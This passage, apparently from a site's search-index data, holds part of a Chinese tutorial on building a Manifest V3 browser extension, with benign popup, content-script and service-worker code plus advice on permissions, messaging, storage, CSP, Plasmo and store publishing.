chrome:\u002F\u002F、edge:\u002F\u002F、扩展商店等页面受到保护；有权限不意味着能在任何页面注入。先用一个普通 HTTPS 页面验证，再排查特殊页面。 chrome 对象存在不代表扩展 API 可用。 普通网页里可能也有名为 chrome 的对象，但没有插件上下文与授权，不能据此判断可调用 chrome.storage。",{"id":129980,"title":295,"titles":129981,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#二hello-world四个文件做出阅读助手",[6],{"id":129983,"title":299,"titles":129984,"content":129985,"level":357},"\u002Ftutorials\u002Fbrowser-extension#建立目录与-manifest",[6,295],"在电脑上新建 reading-helper 文件夹，保持以下四个文件位于同一层。下面四段代码共同组成第一版完整插件，不需要后台文件。 reading-helper\u002F\n├── manifest.json\n├── popup.html\n├── popup.js\n└── content.js manifest.json： {\n  \"manifest_version\": 3,\n  \"name\": \"阅读助手\",\n  \"version\": \"1.0.0\",\n  \"description\": \"由用户点击，为当前页面切换阅读样式。\",\n  \"permissions\": [\"activeTab\", \"scripting\"],\n  \"action\": {\n    \"default_title\": \"阅读助手\",\n    \"default_popup\": \"popup.html\"\n  }\n} 这里只有两个权限：activeTab 在用户主动调用插件时提供对当前标签页的临时访问能力，scripting 允许使用脚本注入 API。我们不需要开局就申请所有网站访问权限，也不需要为了查当前标签页 ID 额外申请 tabs。",{"id":129987,"title":477,"titles":129988,"content":129989,"level":357},"\u002Ftutorials\u002Fbrowser-extension#编写-popup-页面",[6,295],"popup.html： \u003C!DOCTYPE html>\n\u003Chtml lang=\"zh-CN\">\n\u003Chead>\n  \u003Cmeta charset=\"UTF-8\">\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  \u003Ctitle>阅读助手\u003C\u002Ftitle>\n  \u003Cstyle>\n    body { width: 280px; margin: 0; padding: 20px; font: 14px\u002F1.6 sans-serif; }\n    h1 { margin: 0 0 12px; font-size: 20px; }\n    button { width: 100%; padding: 10px; cursor: pointer; }\n    #status { min-height: 44px; margin-bottom: 0; overflow-wrap: anywhere; }\n  \u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n  \u003Ch1>阅读助手\u003C\u002Fh1>\n  \u003Cbutton id=\"toggle\" type=\"button\">切换阅读样式\u003C\u002Fbutton>\n  \u003Cp id=\"status\" role=\"status\" aria-live=\"polite\">请先打开一个普通网页。\u003C\u002Fp>\n  \u003Cscript src=\"popup.js\">\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml> 脚本放在单独的本地文件中，不写 onclick=\"...\"，也不放内联 JavaScript。扩展页面的内容安全策略（CSP）比普通练习页面更严格，外链 CDN 脚本也不是这里的默认方案。",{"id":129991,"title":934,"titles":129992,"content":129993,"level":357},"\u002Ftutorials\u002Fbrowser-extension#编写点击逻辑",[6,295],"popup.js： const toggleButton = document.querySelector('#toggle')\nconst statusElement = document.querySelector('#status')\n\n\u002F**\n * 向用户主动选择的当前标签页注入阅读样式切换脚本。\n * 这里只接受普通 HTTP\u002FHTTPS 页面；受保护页面即使是 HTTPS 也可能拒绝注入。\n * 注入失败时保留浏览器的具体错误，方便用户在扩展管理页定位问题。\n * @returns {Promise\u003Cvoid>} 注入结束并更新弹窗状态后完成。\n * @example\n * \u002F\u002F 用户点击“切换阅读样式”，成功时显示当前是开启还是恢复状态。\n * toggleButton.addEventListener('click', toggleReading)\n *\u002F\nasync function toggleReading() {\n  toggleButton.disabled = true\n  statusElement.textContent = '正在切换…'\n  try {\n    const [tab] = await chrome.tabs.query({ active: true, currentWindow: true })\n    if (!Number.isInteger(tab?.id) || !\u002F^https?:\\\u002F\\\u002F\u002Fi.test(tab.url || '')) {\n      throw new Error('请在普通 HTTP\u002FHTTPS 网页上使用。')\n    }\n    const results = await chrome.scripting.executeScript({\n      target: { tabId: tab.id },\n      files: ['content.js']\n    })\n    statusElement.textContent = results[0]?.result\n      ? '已开启阅读样式，再点一次即可恢复。'\n      : '已恢复原始样式。'\n  } catch (error) {\n    statusElement.textContent = `操作失败：${error.message || String(error)}`\n  } finally {\n    toggleButton.disabled = false\n  }\n}\n\ntoggleButton.addEventListener('click', toggleReading) chrome.tabs.query() 查的是浏览器标签页，不是网页里的 DOM。executeScript() 才负责把 content.js 送到指定标签页执行。默认只注入主框架，页面里的 iframe 不会因此全部执行一遍。",{"id":129995,"title":1424,"titles":129996,"content":129997,"level":357},"\u002Ftutorials\u002Fbrowser-extension#编写页面脚本",[6,295],"content.js： \u002F**\n * 在当前文档切换一个带唯一标识的样式节点，返回切换后的开启状态。\n * 使用立即执行函数避免重复注入时出现顶层 const 重复声明；\n * 只增删自己创建的样式，不覆盖网页原本的 style 属性。\n * @returns {boolean} true 表示已开启，false 表示已恢复。\n * @example\n * \u002F\u002F 第一次注入返回 true，第二次移除样式并返回 false。\n *\u002F\n(() => {\n  const styleId = 'reading-helper-style-v1'\n  const existing = document.getElementById(styleId)\n  if (existing) {\n    existing.remove()\n    return false\n  }\n  const style = document.createElement('style')\n  style.id = styleId\n  style.textContent = `\n    body { background-color: #f5f0e6 !important; }\n    p, li { line-height: 1.9 !important; }\n    article, main { max-width: 76ch !important; margin-inline: auto !important; }\n  `\n  ;(document.head || document.documentElement).append(style)\n  return true\n})() 这是“切换几条阅读样式”，不是完整的正文提取器。复杂网站的深色主题、Shadow DOM、内联样式、特殊布局都可能影响效果。先保持功能边界小，后面再考虑站点适配。 本章的坑： 注入文件的路径相对于扩展根目录，不是相对于网页 URL；代码保存后也不会自动更新已加载的插件，下一章会说明完整刷新顺序。",{"id":129999,"title":1653,"titles":130000,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#三本地加载与调试先找对控制台",[6],{"id":130002,"title":1657,"titles":130003,"content":130004,"level":357},"\u002Ftutorials\u002Fbrowser-extension#chrome-与-edge-的加载步骤",[6,1653],"Chrome 打开 chrome:\u002F\u002Fextensions，Edge 打开 edge:\u002F\u002Fextensions。 开启“开发者模式”，选择“加载已解压的扩展程序”，选中包含 manifest.json 的 reading-helper 文件夹。 在工具栏的扩展菜单里固定阅读助手，打开一个普通网页，例如 https:\u002F\u002Fexample.com\u002F。 点击阅读助手图标，再点“切换阅读样式”。背景和段落行高应发生变化，再点一次恢复。 加载的是文件夹，不是 ZIP 文件。若提示找不到清单文件，先检查是不是选到了外层目录，或文件被编辑器保存成了 manifest.json.txt。",{"id":130006,"title":1698,"titles":130007,"content":130008,"level":357},"\u002Ftutorials\u002Fbrowser-extension#三个环境对应三个调试入口",[6,1653],"出问题的位置 去哪里看 典型错误 Manifest \u002F 加载 扩展管理页的错误详情 JSON 格式错误、文件路径错误 Popup 打开弹窗后，在弹窗内右键“检查” 找不到按钮、注入 Promise 被拒绝 Content Script 目标网页的 DevTools，必要时切换执行上下文 DOM 不存在、选择器错误 Service Worker 扩展管理页中对应的 Service Worker 检查入口 消息校验失败、异步任务失败 Popup 控制台和网页控制台不是同一个地方。把日志写进 content.js 后，只盯着 Popup 检查窗口会误以为代码没有执行。",{"id":130010,"title":1765,"titles":130011,"content":130012,"level":357},"\u002Ftutorials\u002Fbrowser-extension#修改代码后的正确顺序",[6,1653],"一般采用：保存文件 → 扩展管理页重新加载 → 刷新测试网页 → 重新打开 Popup。 改 Manifest、后台或静态注入规则：重新加载扩展。 改已注入的 Content Script：刷新网页，旧页面里已经运行的代码不会自动替换。 改 Popup：重新打开弹窗；为了排除缓存与上下文问题，调试时仍建议完整刷新。 第一版按点击重新注入文件，但旧的页面样式节点仍可能保留，所以开发时刷新目标页面最省事。以后出现 Extension context invalidated，也优先检查是不是扩展重载后网页还留着旧脚本。",{"id":130014,"title":1793,"titles":130015,"content":130016,"level":357},"\u002Ftutorials\u002Fbrowser-extension#本章验收清单",[6,1653],"操作 预期 普通网页第一次点击 添加 #reading-helper-style-v1 同页第二次点击 移除该节点，不破坏原有内联样式 关闭再打开 Popup 页面样式仍在；弹窗本身重新初始化 刷新网页 样式恢复，因为当前版本没有自动重新应用 在 chrome:\u002F\u002Fextensions 上点击 弹窗给出普通网页使用提示 开发工具打开时可能改变 Popup 的关闭行为或后台生命周期。功能调试完成后，关掉检查窗口再走一次正常用户流程。",{"id":130018,"title":1860,"titles":130019,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#四manifest-与权限需要什么才申请什么",[6],{"id":130021,"title":1863,"titles":130022,"content":130023,"level":357},"\u002Ftutorials\u002Fbrowser-extension#常用字段速查",[6,1860],"字段 用途 示例 manifest_version 清单格式版本 3 name \u002F version 插件名称与发布版本 阅读助手 \u002F 1.0.0 action.default_popup 工具栏弹窗入口 popup.html permissions API 与特殊能力 storage、scripting、activeTab host_permissions 持续访问目标站点的范围 https:\u002F\u002Fapi.example.com\u002F* content_scripts 按匹配规则静态注入 指定 matches、js、run_at background.service_worker 后台事件脚本 background.js options_ui 设置页面 page 和 open_in_tab icons 扩展自身图标 按尺寸映射图片路径 教程为方便复制省略图标，开发时可用默认图标。发布前准备商店要求的图片资源；不要在 Manifest 中声明一个不存在的图标文件。",{"id":130025,"title":2035,"titles":130026,"content":130027,"level":357},"\u002Ftutorials\u002Fbrowser-extension#activetabtabs-与-host_permissions-的区别",[6,1860],"权限 解决的问题 注意点 activeTab 用户调用扩展后临时访问当前标签页 并非永久访问所有站点；跨源导航或关闭标签页会撤销授权 tabs 读取标签页的 URL、标题等敏感属性 不等于允许往任意网页注入脚本 scripting 使用脚本\u002FCSS 注入与注册 API 注入还需 activeTab 或相应站点权限 host_permissions 为指定站点授予持续访问能力 应尽量限制到确实需要的域名 storage 使用扩展存储 API 不等于可以读取网站的 Cookie 或存储 第一版使用 activeTab，所以用户通过工具栏图标调用扩展后，可以读取当前页相关属性并注入。不能把这段代码搬进一个未获授权的定时任务，再期待它任意访问所有标签页。",{"id":130029,"title":2124,"titles":130030,"content":130031,"level":357},"\u002Ftutorials\u002Fbrowser-extension#可选权限与网站匹配",[6,1860],"不是每个人都会用到的站点能力，可以声明在 optional_host_permissions，在用户点击相应功能时调用 chrome.permissions.request()。要处理用户拒绝的分支，不要反复强迫授权。 网站匹配模式不是正则表达式。https:\u002F\u002Fexample.com\u002F* 表示 HTTPS 的指定主机和路径；https:\u002F\u002F*.example.com\u002F* 用于匹配该域及其子域。正式声明前用官方匹配模式文档核对范围。 本章的坑： 为了让示例“什么网站都能跑”直接申请 \u003Call_urls>，会扩大权限、增加授权提示和审核解释成本。阅读助手的手动开关并不需要它。",{"id":130033,"title":2165,"titles":130034,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#五content-script能改-dom不等于能读网页变量",[6],{"id":130036,"title":2169,"titles":130037,"content":130038,"level":357},"\u002Ftutorials\u002Fbrowser-extension#隔离世界与共享-dom",[6,2165],"默认的 Content Script 运行在隔离世界（ISOLATED）。它和网页脚本共享页面 DOM，但拥有分离的 JavaScript 执行环境。 假设网页脚本执行 window.appToken = 'page-value'，Content Script 中读 window.appToken 不会因此自动得到该值；反过来，Content Script 声明的普通变量也不会自动暴露给网页脚本。 操作 默认 Content Script document.querySelector('h1') 可以，访问当前注入框架的 DOM 修改段落文字或插入按钮 可以，但要避免破坏网站交互 读取网页 JS 的局部变量 不可以直接读 访问所有 chrome.* API 不可以，仅有一部分 API 可直接使用 读取跨源 iframe 的 DOM 不能绕过浏览器的跨源限制 把脚本改为 MAIN world 会让它进入网页的执行环境，也会改变安全边界和 API 可用性。仅仅为了读写 DOM 不需要这样做，更不应该把凭证放进网页可读的属性中。",{"id":130040,"title":2248,"titles":130041,"content":130042,"level":357},"\u002Ftutorials\u002Fbrowser-extension#动态注入与静态注入怎么选",[6,2165],"第一版采用动态注入：用户点击按钮才执行一次，适合阅读开关、截取选中文本等明确由用户触发的功能。 如果产品需求变为“打开指定网站就展示工具条”，可以使用以下独立的 Manifest 片段，合并到自己的清单中；不要与主线的切换脚本直接叠加使用，否则自动执行和手动执行会互相切换状态。 {\n  \"content_scripts\": [\n    {\n      \"matches\": [\"https:\u002F\u002Fexample.com\u002F*\"],\n      \"js\": [\"content.js\"],\n      \"run_at\": \"document_idle\"\n    }\n  ]\n} 静态声明按匹配规则注入，规则本身涉及站点访问授权。document_idle 适合一般 DOM 操作，但不保证 SPA 的异步数据已经渲染完。",{"id":130044,"title":2338,"titles":130045,"content":130046,"level":357},"\u002Ftutorials\u002Fbrowser-extension#spa-与重复注入",[6,2165],"单页应用切换路由可能不产生新的文档，因此不会每次都重新触发静态 Content Script。应根据业务选择事件委托、特定容器的 MutationObserver，或必要的导航事件，而不是每隔几毫秒扫描整个文档。 观察 DOM 时要限制范围，并在不再需要时 disconnect()；插件自己插入节点也可能触发观察器，处理不当就会产生循环。 本章的坑： 重复注入脚本可能重复绑定事件、重复插入按钮，或遇到顶层变量重声明。主线示例的立即执行函数解决作用域问题，唯一的样式节点解决可逆切换问题；更复杂的工具条应设计明确的初始化标记和销毁逻辑。",{"id":130048,"title":2361,"titles":130049,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#六popup-与设置弹窗关了变量就没了",[6],{"id":130051,"title":2365,"titles":130052,"content":130053,"level":357},"\u002Ftutorials\u002Fbrowser-extension#popup-的生命周期",[6,2361],"Popup 是一个扩展页面，但用户点击其他区域后通常就会关闭。下次打开时，HTML 和 JavaScript 重新执行，局部变量也重新创建。 因此不要用 let enabled = true 作为长期配置来源，也不要让 Popup 承担“必须持续完成”的后台任务。第一版不在 Popup 里保存开启状态，而是根据实际注入结果展示提示。 另外，声明 action.default_popup 后，点击工具栏图标会打开弹窗，不会同时触发该扩展的 chrome.action.onClicked 事件。想走后台点击处理路线，就不要给同一个 action 配置 Popup。",{"id":130055,"title":2389,"titles":130056,"content":130057,"level":357},"\u002Ftutorials\u002Fbrowser-extension#使用-chromestorage-保存偏好",[6,2361],"如需保存阅读主题，先在 permissions 中加入 storage。下面是可选的扩展示例，不影响前四个文件运行；只演示保存配置，不会自动把主题应用到网页。 \u002F**\n * 保存经过白名单校验的阅读主题。不要在这里保存密码或服务端密钥。\n * @param {'paper'|'light'} theme 用户选择的主题。\n * @returns {Promise\u003Cvoid>} 写入扩展本地存储后完成。\n * @example\n * await saveTheme('paper')\n *\u002F\nasync function saveTheme(theme) {\n  if (!['paper', 'light'].includes(theme)) throw new Error('不支持的主题')\n  await chrome.storage.local.set({ readingTheme: theme })\n}\n\n\u002F**\n * 读取主题；首次安装或数据异常时回退到 paper。\n * @returns {Promise\u003C'paper'|'light'>} 可直接用于界面选择器的主题标识。\n * @example\n * const theme = await loadTheme()\n *\u002F\nasync function loadTheme() {\n  const { readingTheme } = await chrome.storage.local.get({ readingTheme: 'paper' })\n  return readingTheme === 'light' ? 'light' : 'paper'\n} 存储区域 适合放什么 不适合放什么 storage.local 本机偏好、适量缓存 无上限的大文件、明文机密 storage.sync 小体积、需要跨设备同步的设置 高频写入日志、大量网页内容 storage.session 浏览器会话内的临时状态，支持后台重启后读取 重启浏览器仍必须存在的数据 storage.sync 受配额、登录及同步状态影响，不要把它当作即时数据库。storage.session 默认不暴露给 Content Script；不要把不同区域的访问规则混为一谈。",{"id":130059,"title":2711,"titles":130060,"content":130061,"level":357},"\u002Ftutorials\u002Fbrowser-extension#什么时候需要-options-page",[6,2361],"配置只有一个开关时放 Popup 就够了；有站点白名单、快捷键说明和较多表单时再加设置页。下面配置中的 options.html 必须是实际存在的扩展文件。 {\n  \"options_ui\": {\n    \"page\": \"options.html\",\n    \"open_in_tab\": true\n  }\n} 本章的坑： localStorage 和 chrome.storage.local 不是一回事。Service Worker 没有 DOM，也不能使用 window.localStorage；Content Script 使用网页存储时又涉及宿主页的上下文，不能用来冒充统一的扩展配置中心。",{"id":130063,"title":2783,"titles":130064,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#七service-worker按事件唤醒不是常驻后台",[6],{"id":130066,"title":2786,"titles":130067,"content":130068,"level":357},"\u002Ftutorials\u002Fbrowser-extension#什么时候才需要后台",[6,2783],"第一版没有后台，因为“点按钮 → 改当前页面”不需要中转。出现右键菜单、定时事件、统一网络访问、跨页面消息协调时，再引入 Service Worker。 MV3 后台没有 window、document，不能直接改网页 DOM。后台读写页面要通过 Content Script 或 scripting API，而不是写 document.querySelector()。",{"id":130070,"title":2807,"titles":130071,"content":130072,"level":357},"\u002Ftutorials\u002Fbrowser-extension#为阅读助手加入后台",[6,2783],"从本节开始做第二版。在第一版基础上新增 background.js，并把 Manifest 完整替换为下面内容。其他三个文件保持不变；新增后台能力用于下一章的消息练习，原来的阅读开关仍然可用。 {\n  \"manifest_version\": 3,\n  \"name\": \"阅读助手\",\n  \"version\": \"1.1.0\",\n  \"description\": \"切换当前网页阅读样式，并保存本地阅读偏好。\",\n  \"permissions\": [\"activeTab\", \"scripting\", \"storage\"],\n  \"action\": {\n    \"default_title\": \"阅读助手\",\n    \"default_popup\": \"popup.html\"\n  },\n  \"background\": {\n    \"service_worker\": \"background.js\"\n  }\n} background.js： \u002F**\n * 处理本扩展发来的主题读取请求。\n * 在顶层同步注册监听器，使后台被事件唤醒时即可接收消息。\n * 用 return true 保持异步响应通道，避免依赖监听器返回 Promise 的版本差异。\n * @param {{type?: string}} message 调用方提交的消息；运行时仍需校验。\n * @param {chrome.runtime.MessageSender} sender 浏览器提供的发送者身份。\n * @param {function(Object): void} sendResponse 向调用方回传 JSON 可序列化对象。\n * @returns {boolean} true 表示本监听器稍后会异步响应。\n * @example\n * \u002F\u002F 在 Popup 中调用：chrome.runtime.sendMessage({ type: 'GET_THEME' })\n *\u002F\nfunction handleMessage(message, sender, sendResponse) {\n  if (sender.id !== chrome.runtime.id || message?.type !== 'GET_THEME') {\n    return false\n  }\n  chrome.storage.local.get({ readingTheme: 'paper' })\n    .then(({ readingTheme }) => {\n      sendResponse({ ok: true, theme: readingTheme === 'light' ? 'light' : 'paper' })\n    })\n    .catch((error) => {\n      sendResponse({ ok: false, error: error.message || String(error) })\n    })\n  return true\n}\n\nchrome.runtime.onMessage.addListener(handleMessage) 这里用存储的默认值避免依赖某个只运行一次的初始化动作。即使后台被停止后重新启动，也能重新读取主题，而不是依赖已经丢失的全局变量。",{"id":130074,"title":3238,"titles":130075,"content":130076,"level":357},"\u002Ftutorials\u002Fbrowser-extension#生命周期带来的设计约束",[6,2783],"错误假设 更稳妥的方式 全局变量永远在 可恢复状态放 storage 或 IndexedDB setInterval 可以永久运行 定时需求考虑 chrome.alarms，处理延迟与重建 先 await 读取配置，再注册监听 顶层先注册，事件处理函数内部再读取 一个端口能确保后台永不结束 不把连接当作永久保活保证 检查窗口里正常就说明生命周期没问题 关闭 DevTools 后重新验证后台停止与唤醒 浏览器通常会在空闲一段时间后终止后台，还存在单次任务时间等限制；具体规则会随浏览器版本变化。不要把某个观察到的秒数写成业务计时保证，详见官方生命周期说明。 本章的坑： 不要试图用无意义的循环或持续请求保持后台存活。应该让事件可以重入、状态可以恢复；下载、较长流程等需求则选择对应的浏览器 API 和可恢复的任务设计。",{"id":130078,"title":3323,"titles":130079,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#八消息通信先弄清楚收件人是谁",[6],{"id":130081,"title":3326,"titles":130082,"content":130083,"level":357},"\u002Ftutorials\u002Fbrowser-extension#三条常见通信路线",[6,3323],"调用方式 典型方向 适合场景 chrome.runtime.sendMessage() Popup \u002F Content Script → 后台等扩展监听器 一次请求，一次响应 chrome.tabs.sendMessage(tabId, message) Popup \u002F 后台 → 指定标签页的 Content Script 读取页面状态、执行页面操作 runtime.connect() \u002F tabs.connect() 创建长期消息端口 多次通信，但要处理断线与重连 runtime.sendMessage() 不是“自动把消息发给当前网页”。给页面中的 Content Script 发消息时，使用 tabs.sendMessage()，并保证目标页面已经注入且注册了监听器。",{"id":130085,"title":3398,"titles":130086,"content":130087,"level":357},"\u002Ftutorials\u002Fbrowser-extension#调用刚才的后台",[6,3323],"在第二版 popup.js 末尾追加下面代码。弹窗打开后，开发者工具会打印保存的主题；这只是后台通信练习，原有按钮逻辑保持不变。 \u002F**\n * 请求后台读取主题，并检查业务层响应。\n * 只把结果写到 Popup 控制台，避免与阅读开关共用提示区域造成覆盖。\n * @returns {Promise\u003Cvoid>} 读取完成；失败时输出可定位的错误。\n * @example\n * \u002F\u002F 弹窗初始化时执行一次，在 Popup 的检查窗口中查看结果。\n * printSavedTheme()\n *\u002F\nasync function printSavedTheme() {\n  try {\n    const response = await chrome.runtime.sendMessage({ type: 'GET_THEME' })\n    if (!response?.ok) throw new Error(response?.error || '后台未返回有效结果')\n    console.log('当前保存的主题：', response.theme)\n  } catch (error) {\n    console.error('读取主题失败：', error)\n  }\n}\n\nprintSavedTheme() 同一个功能在 Popup 内直接调用 chrome.storage 也能完成。这里刻意经过后台是为了演示协议，不代表所有存储读写都必须转发一次。",{"id":130089,"title":3591,"titles":130090,"content":130091,"level":357},"\u002Ftutorials\u002Fbrowser-extension#异步响应与序列化",[6,3323],"本文后台使用普通函数监听，异步调用 sendResponse()，并同步 return true。这样可以避开不同浏览器版本对“直接返回 Promise”支持情况的差异。return true 不是业务成功，而是“响应稍后到达”。 消息应使用普通 JSON 数据，例如 { type: 'GET_THEME' }、{ ok: true, theme: 'paper' }。不要发送 DOM、函数或假设 Map、Date 在所有浏览器中保持原类型；Chrome 和其他实现的序列化行为存在差异。 多个监听器存在时，只处理自己认识的 type。不要无条件使用 async 监听器接管所有消息，也不要期望多个响应自动汇总成一个结果。",{"id":130093,"title":3635,"titles":130094,"content":130095,"level":357},"\u002Ftutorials\u002Fbrowser-extension#消息安全边界",[6,3323],"即使 sender.id 是本扩展，也不能把消息里的任意 URL、HTML 或命令直接执行。来自 Content Script 的数据可能受网页影响，应继续校验操作类型、字段类型、长度和目标域名。 本例只允许读取一个固定配置键，不接受“读取任意存储键”或“请求任意 URL”的指令。以后如果功能只允许由 Popup 触发，还应按业务约束检查发送者 URL、是否来自标签页等，而不只是比较扩展 ID。 本章的坑： Could not establish connection. Receiving end does not exist. 往往意味着目标没有监听器、脚本尚未注入，或重载扩展后标签页仍保留旧上下文。先查接收方，再改消息格式。",{"id":130097,"title":3657,"titles":130098,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#九扩展能力网络请求资源与安全",[6],{"id":130100,"title":3660,"titles":130101,"content":130102,"level":357},"\u002Ftutorials\u002Fbrowser-extension#请求后端不等于绕过所有限制",[6,3657],"扩展页面或后台访问指定远程主机时，可以通过 host_permissions 获得相应跨源访问能力；Content Script 的请求仍受到其运行上下文的跨源规则约束，不会因为清单里写了域名就变成任意跨域代理。 例如需要访问自己的 API，可增加下面的配置片段。api.example.com 是占位域名，不是教程提供的可用接口。 {\n  \"host_permissions\": [\"https:\u002F\u002Fapi.example.com\u002F*\"]\n} 后台只应调用预先限定的接口与参数，并处理超时、非 2xx 状态和数据格式异常。不要设计“Content Script 传入任意 URL，后台原样 fetch”的通用转发器，否则网页可能借扩展的权限访问本不应访问的资源。 浏览器权限也不能绕过服务端鉴权、限流或业务授权。插件包内的代码和常量可以被查看，服务端密钥不应打包进去。",{"id":130104,"title":3711,"titles":130105,"content":130106,"level":357},"\u002Ftutorials\u002Fbrowser-extension#远程代码csp-与-dom-注入",[6,3657],"做法 建议 在 Popup 内写 onclick 或内联脚本 改成本地 JS 文件与 addEventListener 下载 JS 后 eval() \u002F new Function() 执行 不采用；扩展逻辑随包发布 从接口读取 JSON 配置 可以设计，但校验结构和取值，不把数据当代码执行 把网页选中文本写入 innerHTML 优先 textContent，不要把页面输入当可信 HTML 把长期令牌放在 DOM 属性中 不采用；网页脚本可以读取共享 DOM MV3 对远程托管代码有严格限制。即使某种方式在开发环境暂时运行，也不代表满足商店政策。",{"id":130108,"title":3792,"titles":130109,"content":130110,"level":357},"\u002Ftutorials\u002Fbrowser-extension#web_accessible_resources-不是文件总清单",[6,3657],"Popup 直接引用扩展包里的本地脚本，不需要把它们全部声明为网页可访问资源。只有普通网页确实需要加载的扩展资源，才考虑 web_accessible_resources 并限制匹配范围。 例如 Content Script 往页面插入一张扩展自带图片时，用 chrome.runtime.getURL('images\u002Fbadge.png') 获取地址，并按需声明该图片的访问规则。不要简单公开整个扩展目录。 本章的坑： 插件可以接触用户浏览内容，所以“仅本地处理”“保存多久”“是否上传”必须与实现一致。阅读助手不需要收集浏览历史，也不应该为了调试而长期记录完整网页正文。",{"id":130112,"title":3815,"titles":130113,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#十从原生到-plasmo框架解决工程问题",[6],{"id":130115,"title":3819,"titles":130116,"content":130117,"level":357},"\u002Ftutorials\u002Fbrowser-extension#先理解原生再选择工具",[6,3815],"原生四文件版本已经可以工作。框架主要解决热更新、打包、TypeScript、UI 组件、资源处理和多浏览器构建，并不会取消 Manifest、隔离环境或权限限制。 方案 适合谁 需要承担什么 原生 HTML \u002F CSS \u002F JS 入门、小型工具、理解扩展机制 自己管理入口与打包 Plasmo 希望使用 React \u002F TypeScript 快速搭建扩展 UI 学习文件约定与构建产物 WXT 等扩展框架 希望比较 Vue 等 UI 技术与多浏览器流程 核对当前版本支持与迁移成本 Plasmo 官方文档突出 React 与 TypeScript 支持。不要因为自己使用 Vue，就假设所有 Plasmo 示例可以直接改成 .vue 文件运行；选型时先确认框架的当前能力。",{"id":130119,"title":3883,"titles":130120,"content":130121,"level":357},"\u002Ftutorials\u002Fbrowser-extension#plasmo-的基本开发流程",[6,3815],"下面是另建工程的可选路线，不要在前面的 reading-helper 文件夹里混用。需要 Node.js 和 pnpm；实际版本要求及脚手架提示以Plasmo 官方文档为准。 # 在你自己的项目目录下执行，创建一个新的扩展工程\npnpm create plasmo\n\n# 进入脚手架实际创建的目录，再运行开发构建\ncd your-extension\npnpm dev\n\n# 完成功能后生成生产包\npnpm build your-extension 是占位目录名，不是固定生成的名称。创建命令会下载并运行第三方脚手架，执行前确认包来源；教程本身不需要执行这些命令。 典型入口包括 popup.tsx、content.ts 和 background.ts，更复杂的 Content Script 也有目录式组织方式。框架把这些入口转换为清单和构建文件；修改目录结构时要对照对应版本文档。",{"id":130123,"title":3985,"titles":130124,"content":130125,"level":357},"\u002Ftutorials\u002Fbrowser-extension#加载产物不是加载源代码目录",[6,3815],"Plasmo 开发构建通常输出到 build\u002Fchrome-mv3-dev，生产构建通常输出到 build\u002Fchrome-mv3-prod，以实际终端输出和项目配置为准。 扩展管理页应加载产物中包含 manifest.json 的目录，不是只有 popup.tsx 和 package.json 的源码目录。生产发布前运行 pnpm build，不要把带开发连接与调试逻辑的包直接上传。 本章的坑： 框架热更新不保证已打开网页里的旧 Content Script 总能无缝替换。遇到异常仍然可以使用“重新加载扩展 → 刷新页面 → 重开 Popup”的排查基线。",{"id":130127,"title":4025,"titles":130128,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#十一发布与兼容能加载不代表能上架",[6],{"id":130130,"title":4028,"titles":130131,"content":130132,"level":357},"\u002Ftutorials\u002Fbrowser-extension#打包前检查什么",[6,4025],"对于原生版本，把 manifest.json 和它引用的文件放在 ZIP 根目录；不要多套一层 reading-helper\u002F。框架版本则打包生产产物，而不是 node_modules 与源码仓库。 检查项 为什么要做 递增 Manifest 的 version 新版本上传需要有效的版本标识 清理开发地址、日志与测试账号 防止开发配置进入正式包 所有声明的脚本、图标和页面存在 避免本地遗漏或路径大小写问题 权限对应可见功能 降低不必要的授权与审核疑问 准备商店图标、截图和说明 用户需要知道插件做什么 按实际数据行为填写隐私披露 收集、传输与保存行为必须一致 使用干净环境完成一次安装测试 不能依赖开发机遗留存储才能运行 Chrome Web Store 和 Microsoft Edge Add-ons 的账号、素材与审核规则分别维护，提交前查各自官方文档。不要把某一时期的费用、审核时长或图片要求当作永远固定的事实。",{"id":130134,"title":4121,"titles":130135,"content":130136,"level":357},"\u002Ftutorials\u002Fbrowser-extension#chromeedge-与-firefox",[6,4025],"Chrome 与 Edge 都基于 Chromium，大量 MV3 API 相近，但仍需要分别验证目标浏览器版本、商店规则和受限页面。 Firefox 的 WebExtensions 与 Chromium 有许多相似 API，但不能承诺同一个 Manifest 原样通用。尤其要检查后台声明、API 支持、权限提示，以及 browser.* \u002F chrome.* 与 Promise 行为。Polyfill 可以改善部分调用差异，不能补齐所有平台能力。",{"id":130138,"title":4136,"titles":130139,"content":130140,"level":357},"\u002Ftutorials\u002Fbrowser-extension#升级与卸载场景",[6,4025],"以后改变存储结构时，应为旧版本数据设计迁移与默认值，而不是直接假设字段存在。并行事件中的“读 → 改 → 写”也不具备数据库事务保证，不适合用来维护高频精确计数。 升级后保留设置、关闭浏览器后恢复偏好、用户撤销站点访问权限，都是正常使用场景。不要仅测试“开发者工具一直开着、所有权限已同意”的理想路径。 本章的坑： 本地加载成功只说明浏览器能识别当前包，不代表商店审核通过，也不代表隐私合规已经完成。",{"id":130142,"title":4151,"titles":130143,"content":314,"level":341},"\u002Ftutorials\u002Fbrowser-extension#十二排错速查与进阶练习",[6],{"id":130145,"title":4154,"titles":130146,"content":130147,"level":357},"\u002Ftutorials\u002Fbrowser-extension#按症状定位问题",[6,4151],"症状 优先检查 处理方式 插件无法加载 JSON、文件名、选中的目录 检查是否存在根目录 Manifest，无注释与尾逗号 Popup 按钮没反应 Popup 控制台、JS 路径、CSP 确认外部脚本加载成功，事件正确注册 Cannot access contents of url 页面类型、站点权限、用户是否调用扩展 换普通网页，核对 activeTab \u002F 站点授权 chrome.scripting 不可用 是否在扩展上下文、是否声明权限 不要在普通网页控制台直接运行 Popup 代码 找不到消息接收端 注入和监听是否完成 重载插件并刷新页面，再确认收件人 Extension context invalidated 页面脚本是否来自旧扩展版本 刷新目标页面 后台变量突然变初始值 Worker 是否被停止并重启 使用可恢复存储，不依赖全局状态 Content Script 读不到网页变量 默认隔离世界 优先基于 DOM 工作，不盲目切 MAIN world 